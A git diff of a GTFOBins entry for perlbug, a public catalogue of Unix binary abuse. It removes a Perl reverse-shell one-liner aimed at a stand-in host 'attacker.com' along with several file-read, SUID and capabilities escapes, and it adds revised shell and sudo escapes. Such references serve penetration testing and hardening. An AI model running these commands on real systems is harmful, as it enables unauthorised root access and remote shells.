diff --git a/_gtfobins/perlbug.md b/_gtfobins/perlbug.md
index 707d712..a11ffef 100644
--- a/_gtfobins/perlbug.md
+++ b/_gtfobins/perlbug.md
@@ -1,21 +1,7 @@
 ---
 functions:
   shell:
-    - code: perlbug -e 'exec "/bin/sh";'
-  file-read:
-    - code: |
-        LFILE=file_to_read
-        perlbug -ne print $LFILE
-  reverse-shell:
-    - description: Run `nc -l -p 12345` on the attacker box to receive the shell.
-      code: |
-        export RHOST=attacker.com
-        export RPORT=12345
-        perlbug -e 'use Socket;$i="$ENV{RHOST}";$p=$ENV{RPORT};socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
-  suid:
-    - code: ./perlbug -e 'exec "/bin/sh";'
+    - code: perlbug -s 'x x x' -r x -c x -e 'exec /bin/sh;'
   sudo:
-    - code: sudo perlbug -e 'exec "/bin/sh";'
-  capabilities:
-    - code: ./perlbug -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";'
+    - code: sudo perlbug -s 'x x x' -r x -c x -e 'exec /bin/sh;'
 ---